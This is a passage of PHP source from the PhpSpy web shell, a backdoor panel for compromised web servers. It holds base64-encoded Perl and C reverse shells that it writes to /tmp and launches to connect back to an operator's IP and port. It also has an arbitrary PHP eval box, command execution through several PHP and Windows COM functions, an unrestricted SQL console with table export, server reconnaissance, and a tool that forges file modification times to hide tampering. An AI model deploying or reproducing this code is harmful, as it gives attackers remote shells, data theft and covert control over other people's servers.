	$charsets = array(\'\'=>\'Default\',\'gbk\'=>\'GBK\', \'big5\'=>\'Big5\', \'utf8\'=>\'UTF-8\', \'latin1\'=>\'Latin1\');

	formhead(array(\'title\'=>\'MYSQL Manager\'));
	makehide(\'action\',\'sqladmin\');
	p(\'<p>\');
	p(\'DBHost:\');
	makeinput(array(\'name\'=>\'dbhost\',\'size\'=>20,\'value\'=>$dbhost));
	p(\':\');
	makeinput(array(\'name\'=>\'dbport\',\'size\'=>4,\'value\'=>$dbport));
	p(\'DBUser:\');
	makeinput(array(\'name\'=>\'dbuser\',\'size\'=>15,\'value\'=>$dbuser));
	p(\'DBPass:\');
	makeinput(array(\'name\'=>\'dbpass\',\'size\'=>15,\'value\'=>$dbpass));
	p(\'DBCharset:\');
	makeselect(array(\'name\'=>\'charset\',\'option\'=>$charsets,\'selected\'=>$charset));
	makeinput(array(\'name\'=>\'connect\',\'value\'=>\'Connect\',\'type\'=>\'submit\',\'class\'=>\'bt\'));
	p(\'</p>\');
	formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
	if (action == \'del\') {		
		if (!confirm(\'Is or isn\\'t deletion record?\')) return;
	}
	$(\'recordlist\').doing.value=action;
	$(\'recordlist\').base64.value=base64;
	$(\'recordlist\').tablename.value=tablename;
	$(\'recordlist\').submit();
}
function moddbname(dbname) {
	if(!dbname) return;
	$(\'setdbname\').dbname.value=dbname;
	$(\'setdbname\').submit();
}
function settable(tablename,doing,page) {
	if(!tablename) return;
	if (doing) {
		$(\'settable\').doing.value=doing;
	}
	if (page) {
		$(\'settable\').page.value=page;
	}
	$(\'settable\').tablename.value=tablename;
	$(\'settable\').submit();
}
</script>
<?php
	//
	formhead(array(\'name\'=>\'recordlist\'));
	makehide(\'doing\');
	makehide(\'action\',\'sqladmin\');
	makehide(\'base64\');
	makehide(\'tablename\');
	p($dbform);
	formfoot();

	//&#305;&#304;
	formhead(array(\'name\'=>\'setdbname\'));
	makehide(\'action\',\'sqladmin\');
	p($dbform);
	if (!$dbname) {
		makehide(\'dbname\');
	}
	formfoot();

	//
	formhead(array(\'name\'=>\'settable\'));
	makehide(\'action\',\'sqladmin\');
	p($dbform);
	makehide(\'tablename\');
	makehide(\'page\',$page);
	makehide(\'doing\');
	formfoot();

	$cachetables = array();	
	$pagenum = 30;
	$page = intval($page);
	if($page) {
		$start_limit = ($page - 1) * $pagenum;
	} else {
		$start_limit = 0;
		$page = 1;
	}
	if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
		//&#305;&#304;&#286;
		$mysqlver = mysql_get_server_info();
		p(\'<p>MySQL \'.$mysqlver.\' running in \'.$dbhost.\' as \'.$dbuser.\'@\'.$dbhost.\'</p>\');
		$highver = $mysqlver > \'4.1\' ? 1 : 0;

		//&#305;&#304;
		$query = q("SHOW DATABASES");
		$dbs = array();
		$dbs[] = \'-- Select a database --\';
		while($db = mysql_fetch_array($query)) {
			$dbs[$db[\'Database\']] = $db[\'Database\'];
		}
		makeselect(array(\'title\'=>\'Please select a database:\',\'name\'=>\'db[]\',\'option\'=>$dbs,\'selected\'=>$dbname,\'onchange\'=>\'moddbname(this.options[this.selectedIndex].value)\',\'newline\'=>1));
		$tabledb = array();
		if ($dbname) {
			p(\'<p>\');
			p(\'Current dababase: <a href="javascript:moddbname(\\'\'.$dbname.\'\\');">\'.$dbname.\'</a>\');
			if ($tablename) {
				p(\' | Current Table: <a href="javascript:settable(\\'\'.$tablename.\'\\');">\'.$tablename.\'</a> [ <a href="javascript:settable(\\'\'.$tablename.\'\\', \\'insert\\');">Insert</a> | <a href="javascript:settable(\\'\'.$tablename.\'\\', \\'structure\\');">Structure</a> | <a href="javascript:settable(\\'\'.$tablename.\'\\', \\'drop\\');">Drop</a> ]\');
			}
			p(\'</p>\');
			mysql_select_db($dbname);

			$getnumsql = \'\';
			$runquery = 0;
			if ($sql_query) {
				$runquery = 1;
			}
			$allowedit = 0;
			if ($tablename && !$sql_query) {
				$sql_query = "SELECT * FROM $tablename";
				$getnumsql = $sql_query;
				$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
				$allowedit = 1;
			}
			p(\'<form action="\'.$self.\'" method="POST">\');
			p(\'<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database \'.$dbname.\':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">\'.htmlspecialchars($sql_query,ENT_QUOTES).\'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>\');
			makehide(\'tablename\', $tablename);
			makehide(\'action\',\'sqladmin\');
			p($dbform);
			p(\'</form>\');
			if ($tablename || ($runquery && $sql_query)) {
				if ($doing == \'structure\') {
					$result = q("SHOW COLUMNS FROM $tablename");
					$rowdb = array();
					while($row = mysql_fetch_array($result)) {
						$rowdb[] = $row;
					}
					p(\'<table border="0" cellpadding="3" cellspacing="0">\');
					p(\'<tr class="head">\');
					p(\'<td>Field</td>\');
					p(\'<td>Type</td>\');
					p(\'<td>Null</td>\');
					p(\'<td>Key</td>\');
					p(\'<td>Default</td>\');
					p(\'<td>Extra</td>\');
					p(\'</tr>\');
					foreach ($rowdb as $row) {
						$thisbg = bg();
						p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
						p(\'<td>\'.$row[\'Field\'].\'</td>\');
						p(\'<td>\'.$row[\'Type\'].\'</td>\');
						p(\'<td>\'.$row[\'Null\'].\'&nbsp;</td>\');
						p(\'<td>\'.$row[\'Key\'].\'&nbsp;</td>\');
						p(\'<td>\'.$row[\'Default\'].\'&nbsp;</td>\');
						p(\'<td>\'.$row[\'Extra\'].\'&nbsp;</td>\');
						p(\'</tr>\');
					}
					tbfoot();
				} elseif ($doing == \'insert\' || $doing == \'edit\') {
					$result = q(\'SHOW COLUMNS FROM \'.$tablename);
					while ($row = mysql_fetch_array($result)) {
						$rowdb[] = $row;
					}
					$rs = array();
					if ($doing == \'insert\') {
						p(\'<h2>Insert new line in \'.$tablename.\' table &raquo;</h2>\');
					} else {
						p(\'<h2>Update record in \'.$tablename.\' table &raquo;</h2>\');
						$where = base64_decode($base64);
						$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
						$rs = mysql_fetch_array($result);
					}
					p(\'<form method="post" action="\'.$self.\'">\');
					p($dbform);
					makehide(\'action\',\'sqladmin\');
					makehide(\'tablename\',$tablename);
					p(\'<table border="0" cellpadding="3" cellspacing="0">\');
					foreach ($rowdb as $row) {
						if ($rs[$row[\'Field\']]) {
							$value = htmlspecialchars($rs[$row[\'Field\']]);
						} else {
							$value = \'\';
						}
						$thisbg = bg();
						p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
						p(\'<td><b>\'.$row[\'Field\'].\'</b><br />\'.$row[\'Type\'].\'</td><td><textarea class="area" name="insertsql[\'.$row[\'Field\'].\']" style="width:500px;height:60px;overflow:auto;">\'.$value.\'</textarea></td></tr>\');
					}
					if ($doing == \'insert\') {
						p(\'<tr class="\'.bg().\'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>\');
					} else {
						p(\'<tr class="\'.bg().\'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>\');
						makehide(\'base64\', $base64);
					}
					p(\'</table></form>\');
				} else {
					$querys = @explode(\';\',$sql_query);
					foreach($querys as $num=>$query) {
						if ($query) {
							p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
							switch(qy($query))
							{
								case 0:
									p(\'<h2>Error : \'.mysql_error().\'</h2>\');
									break;	
								case 1:
									if (strtolower(substr($query,0,13)) == \'select * from\') {
										$allowedit = 1;
									}
									if ($getnumsql) {
										$tatol = mysql_num_rows(q($getnumsql));
										$multipage = multi($tatol, $pagenum, $page, $tablename);
									}
									if (!$tablename) {
										$sql_line = str_replace(array("\r", "\n", "\t"), array(\' \', \' \', \' \'), trim(htmlspecialchars($query)));
										$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
										preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
										$tablename = $matches[1][0];
									}
									$result = q($query);
									p($multipage);
									p(\'<table border="0" cellpadding="3" cellspacing="0">\');
									p(\'<tr class="head">\');
									if ($allowedit) p(\'<td>Action</td>\');
									$fieldnum = @mysql_num_fields($result);
									for($i=0;$i<$fieldnum;$i++){
										$name = @mysql_field_name($result, $i);
										$type = @mysql_field_type($result, $i);
										$len = @mysql_field_len($result, $i);
										p("<td nowrap>$name<br><span>$type($len)</span></td>");
									}
									p(\'</tr>\');
									while($mn = @mysql_fetch_assoc($result)){
										$thisbg = bg();
										p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
										$where = $tmp = $b1 = \'\';
										foreach($mn as $key=>$inside){
											if ($inside) {
												$where .= $tmp.$key."=\'".addslashes($inside)."\'";
												$tmp = \' AND \';
											}
											$b1 .= \'<td nowrap>\'.html_clean($inside).\'&nbsp;</td>\';
										}
										$where = base64_encode($where);
										if ($allowedit) p(\'<td nowrap><a href="javascript:editrecord(\\'edit\\', \\'\'.$where.\'\\', \\'\'.$tablename.\'\\');">Edit</a> | <a href="javascript:editrecord(\\'del\\', \\'\'.$where.\'\\', \\'\'.$tablename.\'\\');">Del</a></td>\');
										p($b1);
										p(\'</tr>\');
										unset($b1);
									}
									tbfoot();
									p($multipage);
									break;	
								case 2:
									$ar = mysql_affected_rows();
									p(\'<h2>affected rows : <b>\'.$ar.\'</b></h2>\');
									break;
							}
						}
					}
				}
			} else {
				$query = q("SHOW TABLE STATUS");
				$table_num = $table_rows = $data_size = 0;
				$tabledb = array();
				while($table = mysql_fetch_array($query)) {
					$data_size = $data_size + $table[\'Data_length\'];
					$table_rows = $table_rows + $table[\'Rows\'];
					$table[\'Data_length\'] = sizecount($table[\'Data_length\']);
					$table_num++;
					$tabledb[] = $table;
				}
				$data_size = sizecount($data_size);
				unset($table);
				p(\'<table border="0" cellpadding="0" cellspacing="0">\');
				p(\'<form action="\'.$self.\'" method="POST">\');
				makehide(\'action\',\'sqladmin\');
				p($dbform);
				p(\'<tr class="head">\');
				p(\'<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>\');
				p(\'<td>Name</td>\');
				p(\'<td>Rows</td>\');
				p(\'<td>Data_length</td>\');
				p(\'<td>Create_time</td>\');
				p(\'<td>Update_time</td>\');
				if ($highver) {
					p(\'<td>Engine</td>\');
					p(\'<td>Collation</td>\');
				}
				p(\'</tr>\');
				foreach ($tabledb as $key => $table) {
					$thisbg = bg();
					p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
					p(\'<td align="center" width="2%"><input type="checkbox" name="table[]" value="\'.$table[\'Name\'].\'" /></td>\');
					p(\'<td><a href="javascript:settable(\\'\'.$table[\'Name\'].\'\\');">\'.$table[\'Name\'].\'</a> [ <a href="javascript:settable(\\'\'.$table[\'Name\'].\'\\', \\'insert\\');">Insert</a> | <a href="javascript:settable(\\'\'.$table[\'Name\'].\'\\', \\'structure\\');">Structure</a> | <a href="javascript:settable(\\'\'.$table[\'Name\'].\'\\', \\'drop\\');">Drop</a> ]</td>\');
					p(\'<td>\'.$table[\'Rows\'].\'</td>\');
					p(\'<td>\'.$table[\'Data_length\'].\'</td>\');
					p(\'<td>\'.$table[\'Create_time\'].\'</td>\');
					p(\'<td>\'.$table[\'Update_time\'].\'</td>\');
					if ($highver) {
						p(\'<td>\'.$table[\'Engine\'].\'</td>\');
						p(\'<td>\'.$table[\'Collation\'].\'</td>\');
					}
					p(\'</tr>\');
				}
				p(\'<tr class=\'.bg().\'>\');
				p(\'<td>&nbsp;</td>\');
				p(\'<td>Total tables: \'.$table_num.\'</td>\');
				p(\'<td>\'.$table_rows.\'</td>\');
				p(\'<td>\'.$data_size.\'</td>\');
				p(\'<td colspan="\'.($highver ? 4 : 2).\'">&nbsp;</td>\');
				p(\'</tr>\');

				p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER[\'HTTP_HOST\']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
				makehide(\'doing\',\'backupmysql\');
				formfoot();
				p("</table>");
				fr($query);
			}
		}
	}
	tbfoot();
	@mysql_close();
}//end sql backup


elseif ($action == \'backconnect\') {
	!$yourip && $yourip = $_SERVER[\'REMOTE_ADDR\'];
	!$yourport && $yourport = \'12345\';
	$usedb = array(\'perl\'=>\'perl\',\'c\'=>\'c\');

	$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
		"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
		"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
		"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
		"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
		"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
		"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
		"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
		"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
		"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
		"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
		"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
		"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
		"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";

	if ($start && $yourip && $yourport && $use){
		if ($use == \'perl\') {
			cf(\'/tmp/angel_bc\',$back_connect);
			$res = execute(which(\'perl\')." /tmp/angel_bc $yourip $yourport &");
		} else {
			cf(\'/tmp/angel_bc.c\',$back_connect_c);
			$res = execute(\'gcc -o /tmp/angel_bc /tmp/angel_bc.c\');
			@unlink(\'/tmp/angel_bc.c\');
			$res = execute("/tmp/angel_bc $yourip $yourport &");
		}
		m("Now script try connect to $yourip port $yourport ...");
	}

	formhead(array(\'title\'=>\'Back Connect\'));
	makehide(\'action\',\'backconnect\');
	p(\'<p>\');
	p(\'Your IP:\');
	makeinput(array(\'name\'=>\'yourip\',\'size\'=>20,\'value\'=>$yourip));
	p(\'Your Port:\');
	makeinput(array(\'name\'=>\'yourport\',\'size\'=>15,\'value\'=>$yourport));
	p(\'Use:\');
	makeselect(array(\'name\'=>\'use\',\'option\'=>$usedb,\'selected\'=>$use));
	makeinput(array(\'name\'=>\'start\',\'value\'=>\'Start\',\'type\'=>\'submit\',\'class\'=>\'bt\'));
	p(\'</p>\');
	formfoot();
}//end sql backup

elseif ($action == \'eval\') {
	$phpcode = trim($phpcode);
	if($phpcode){
		if (!preg_match(\'#<\?#si\', $phpcode)) {
			$phpcode = "<?php\n\n{$phpcode}\n\n?>";
		}
		eval("?".">$phpcode<?");
	}
	formhead(array(\'title\'=>\'Eval PHP Code\'));
	makehide(\'action\',\'eval\');
	maketext(array(\'title\'=>\'PHP Code\',\'name\'=>\'phpcode\', \'value\'=>$phpcode));
	p(\'<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>\');
	formfooter();
}//end eval

elseif ($action == \'editfile\') {
	if(file_exists($opfile)) {
		$fp=@fopen($opfile,\'r\');
		$contents=@fread($fp, filesize($opfile));
		@fclose($fp);
		$contents=htmlspecialchars($contents);
	}
	formhead(array(\'title\'=>\'Create / Edit File\'));
	makehide(\'action\',\'file\');
	makehide(\'dir\',$nowpath);
	makeinput(array(\'title\'=>\'Current File (import new file name and new file)\',\'name\'=>\'editfilename\',\'value\'=>$opfile,\'newline\'=>1));
	maketext(array(\'title\'=>\'File Content\',\'name\'=>\'filecontent\',\'value\'=>$contents));
	formfooter();
}//end editfile

elseif ($action == \'newtime\') {
	$opfilemtime = @filemtime($opfile);
	//$time = strtotime("$year-$month-$day $hour:$minute:$second");
	$cachemonth = array(\'January\'=>1,\'February\'=>2,\'March\'=>3,\'April\'=>4,\'May\'=>5,\'June\'=>6,\'July\'=>7,\'August\'=>8,\'September\'=>9,\'October\'=>10,\'November\'=>11,\'December\'=>12);
	formhead(array(\'title\'=>\'Clone file was last modified time\'));
	makehide(\'action\',\'file\');
	makehide(\'dir\',$nowpath);
	makeinput(array(\'title\'=>\'Alter file\',\'name\'=>\'curfile\',\'value\'=>$opfile,\'size\'=>120,\'newline\'=>1));
	makeinput(array(\'title\'=>\'Reference file (fullpath)\',\'name\'=>\'tarfile\',\'size\'=>120,\'newline\'=>1));
	formfooter();
	formhead(array(\'title\'=>\'Set last modified\'));
	makehide(\'action\',\'file\');
	makehide(\'dir\',$nowpath);
	makeinput(array(\'title\'=>\'Current file (fullpath)\',\'name\'=>\'curfile\',\'value\'=>$opfile,\'size\'=>120,\'newline\'=>1));
	p(\'<p>Instead &raquo;\');
	p(\'year:\');
	makeinput(array(\'name\'=>\'year\',\'value\'=>date(\'Y\',$opfilemtime),\'size\'=>4));
	p(\'month:\');
	makeinput(array(\'name\'=>\'month\',\'value\'=>date(\'m\',$opfilemtime),\'size\'=>2));
	p(\'day:\');
	makeinput(array(\'name\'=>\'day\',\'value\'=>date(\'d\',$opfilemtime),\'size\'=>2));
	p(\'hour:\');
	makeinput(array(\'name\'=>\'hour\',\'value\'=>date(\'H\',$opfilemtime),\'size\'=>2));
	p(\'minute:\');
	makeinput(array(\'name\'=>\'minute\',\'value\'=>date(\'i\',$opfilemtime),\'size\'=>2));
	p(\'second:\');
	makeinput(array(\'name\'=>\'second\',\'value\'=>date(\'s\',$opfilemtime),\'size\'=>2));
	p(\'</p>\');
	formfooter();
}//end newtime

elseif ($action == \'shell\') {
	if (IS_WIN && IS_COM) {
		if($program && $parameter) {
			$shell= new COM(\'Shell.Application\');
			$a = $shell->ShellExecute($program,$parameter);
			m(\'Program run has \'.(!$a ? \'success\' : \'fail\'));
		}
		!$program && $program = \'c:\windows\system32\cmd.exe\';
		!$parameter && $parameter = \'/c net start > \'.SA_ROOT.\'log.txt\';
		formhead(array(\'title\'=>\'Execute Program\'));
		makehide(\'action\',\'shell\');
		makeinput(array(\'title\'=>\'Program\',\'name\'=>\'program\',\'value\'=>$program,\'newline\'=>1));
		p(\'<p>\');
		makeinput(array(\'title\'=>\'Parameter\',\'name\'=>\'parameter\',\'value\'=>$parameter));
		makeinput(array(\'name\'=>\'submit\',\'class\'=>\'bt\',\'type\'=>\'submit\',\'value\'=>\'Execute\'));
		p(\'</p>\');
		formfoot();
	}
	formhead(array(\'title\'=>\'Execute Command\'));
	makehide(\'action\',\'shell\');
	if (IS_WIN && IS_COM) {
		$execfuncdb = array(\'phpfunc\'=>\'phpfunc\',\'wscript\'=>\'wscript\',\'proc_open\'=>\'proc_open\');
		makeselect(array(\'title\'=>\'Use:\',\'name\'=>\'execfunc\',\'option\'=>$execfuncdb,\'selected\'=>$execfunc,\'newline\'=>1));
	}
	p(\'<p>\');
	makeinput(array(\'title\'=>\'Command\',\'name\'=>\'command\',\'value\'=>$command));
	makeinput(array(\'name\'=>\'submit\',\'class\'=>\'bt\',\'type\'=>\'submit\',\'value\'=>\'Execute\'));
	p(\'</p>\');
	formfoot();

	if ($command) {
		p(\'<hr width="100%" noshade /><pre>\');
		if ($execfunc==\'wscript\' && IS_WIN && IS_COM) {
			$wsh = new COM(\'WScript.shell\');
			$exec = $wsh->exec(\'cmd.exe /c \'.$command);
			$stdout = $exec->StdOut();
			$stroutput = $stdout->ReadAll();
			echo $stroutput;
		} elseif ($execfunc==\'proc_open\' && IS_WIN && IS_COM) {
			$descriptorspec = array(
			   0 => array(\'pipe\', \'r\'),
			   1 => array(\'pipe\', \'w\'),
			   2 => array(\'pipe\', \'w\')
			);
			$process = proc_open($_SERVER[\'COMSPEC\'], $descriptorspec, $pipes);
			if (is_resource($process)) {
				fwrite($pipes[0], $command."\r\n");
				fwrite($pipes[0], "exit\r\n");
				fclose($pipes[0]);
				while (!feof($pipes[1])) {
					echo fgets($pipes[1], 1024);
				}
				fclose($pipes[1]);
				while (!feof($pipes[2])) {
					echo fgets($pipes[2], 1024);
				}
				fclose($pipes[2]);
				proc_close($process);
			}
		} else {
			echo(execute($command));
		}
		p(\'</pre>\');
	}
}//end shell

elseif ($action == \'phpenv\') {
	$upsize=getcfg(\'file_uploads\') ? getcfg(\'upload_max_filesize\') : \'Not allowed\';
	$adminmail=isset($_SERVER[\'SERVER_ADMIN\']) ? $_SERVER[\'SERVER_ADMIN\'] : getcfg(\'sendmail_from\');
	!$dis_func && $dis_func = \'No\';	
	$info = array(
		1 => array(\'Server Time\',date(\'Y/m/d h:i:s\',$timestamp)),
		2 => array(\'Server Domain\',$_SERVER[\'SERVER_NAME\']),
		3 => array(\'Server IP\',gethostbyname($_SERVER[\'SERVER_NAME\'])),
		4 => array(\'Server OS\',PHP_OS),
		5 => array(\'Server OS Charset\',$_SERVER[\'HTTP_ACCEPT_LANGUAGE\']),
		6 => array(\'Server Software\',$_SERVER[\'SERVER_SOFTWARE\']),
		7 => array(\'Server Web Port\',$_SERVER[\'SERVER_PORT\']),
		8 => array(\'PHP run mode\',strtoupper(php_sapi_name())),
		9 => array(\'The file path\',__FILE__),

		10 => array(\'PHP Version\',PHP_VERSION),
		11 => array(\'PHPINFO\',(IS_PHPINFO ? \'<a href="javascript:goaction(\\'phpinfo\\');">Yes</a>\' : \'No\')),
		12 => array(\'Safe Mode\',getcfg(\'safe_mode\')),
		13 => array(\'Administrator\',$adminmail),
		14 => array(\'allow_url_fopen\',getcfg(\'allow_url_fopen\')),
		15 => array(\'enable_dl\',getcfg(\'enable_dl\')),
		16 => array(\'display_errors\',getcfg(\'display_errors\')),
		17 => array(\'register_globals\',getcfg(\'register_globals\')),
		18 => array(\'magic_quotes_gpc\',getcfg(\'magic_quotes_gpc\')),
		19 => array(\'memory_limit\',getcfg(\'memory_limit\')),
		20 => array(\'post_max_size\',getcfg(\'post_max_size\')),
		21 => array(\'upload_max_filesize\',$upsize),
		22 => array(\'max_execution_time\',getcfg(\'max_execution_time\').\' second(s)\'),
		23 => array(\'disable_functions\',$dis_func),
	);

	if($phpvarname) {
		m($phpvarname .\' : \'.getcfg($phpvarname));
	}

	formhead(array(\'title\'=>\'Server environment\'));
	makehide(\'action\',\'phpenv\');
	makeinput(array(\'title\'=>\'Please input PHP configuration parameter(eg:magic_quotes_gpc)\',\'name\'=>\'phpvarname\',\'value\'=>$phpvarname,\'newline\'=>1));
	formfooter();

	$hp = array(0=> \'Server\', 1=> \'PHP\');
	for($a=0;$a<2;$a++) {
		p(\'<h2>\'.$hp[$a].\' &raquo;</h2>\');
		p(\'<ul class="info">\');
		if ($a==0) {
			for($i=1;$i<=9;$i++) {
				p(\'<li><u>\'.$info[$i][0].\':</u>\'.$info[$i][1].\'</li>\');
			}
		} elseif ($a == 1) {
			for($i=10;$i<=23;$i++) {
				p(\'<li><u>\'.$info[$i][0].\':</u>\'.$info[$i][1].\'</li>\');
			}
		}
		p(\'</ul>\');
	}
}//end phpenv

else {
	m(\'Undefined Action\');
}

?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
	<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
	Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
</div>
</body>
</html>

<?php

/*======================================================
&#305;
======================================================*/

function m($msg) {
	echo \'<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">\';
	echo $msg;
	echo \'</div>\';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
	global $admin, $timestamp, $_SERVER;
	$key = ($prefix ? $admin[\'cookiepre\'] : \'\').$key;
	$life = $life ? $life : $admin[\'cookielife\'];
	$useport = $_SERVER[\'SERVER_PORT\'] == 443 ? 1 : 0;
	setcookie($key, $value, $timestamp+$life, $admin[\'cookiepath\'], $admin[\'cookiedomain\'], $useport);
}	
function multi($num, $perpage, $curpage, $tablename) {
	$multipage = \'\';
	if($num > $perpage) {
		$page = 10;
		$offset = 5;
		$pages = @ceil($num / $perpage);
		if($page > $pages) {
			$from = 1;
			$to = $pages;
		} else {
			$from = $curpage - $offset;
			$to = $curpage + $page - $offset - 1;
			if($from < 1) {
				$to = $curpage + 1 - $from;
				$from = 1;
				if(($to - $from) < $page && ($to - $from) < $pages) {
					$to = $page;
				}
			} elseif($to > $pages) {
				$from = $curpage - $pages + $to;
				$to = $pages;
				if(($to - $from) < $page && ($to - $from) < $pages) {
					$from = $pages - $page + 1;
				}
			}
		}
		$multipage = ($curpage - $offset > 1 && $pages > $page ? \'<a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', 1);">First</a> \' : \'\').($curpage > 1 ? \'<a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', \'.($curpage - 1).\');">Prev</a> \' : \'\');
		for($i = $from; $i <= $to; $i++) {
			$multipage .= $i == $curpage ? $i.\' \' : \'<a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', \'.$i.\');">[\'.$i.\']</a> \';
		}
		$multipage .= ($curpage < $pages ? \'<a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', \'.($curpage + 1).\');">Next</a>\' : \'\').($to < $pages ? \' <a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', \'.$pages.\');">Last</a>\' : \'\');
		$multipage = $multipage ? \'<p>Pages: \'.$multipage.\'</p>\' : \'\';
	}
	return $multipage;
}
// 
function loginpage() {
?>
	<style type="text/css">
	input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
	</style>
	<form method="POST" action="">
	<span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
	<input type="hidden" name="doing" value="login">
	<input type="submit" value="Login">
	</form>
<?php
	exit;
}//end loginpage()

function execute($cfe) {
	$res = \'\';
	if ($cfe) {
		if(function_exists(\'exec\')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
		} elseif(function_exists(\'shell_exec\')) {
			$res = @shell_exec($cfe);
		} elseif(function_exists(\'system\')) {
			@ob_start();
			@system($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(function_exists(\'passthru\')) {
			@ob_start();
			@passthru($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(@is_resource($f = @popen($cfe,"r"))) {
			$res = \'\';
			while(!@feof($f)) {
				$res .= @fread($f,1024); 
			}
			@pclose($f);
		}
	}
	return $res;
}
function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr); 
}

function cf($fname,$text){
	if($fp=@fopen($fname,\'w\')) {
		@fputs($fp,base64_decode($text));
		@fclose($fp);
	}
}

// &#286;
function debuginfo() {
	global $starttime;
	$mtime = explode(\' \', microtime());
	$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
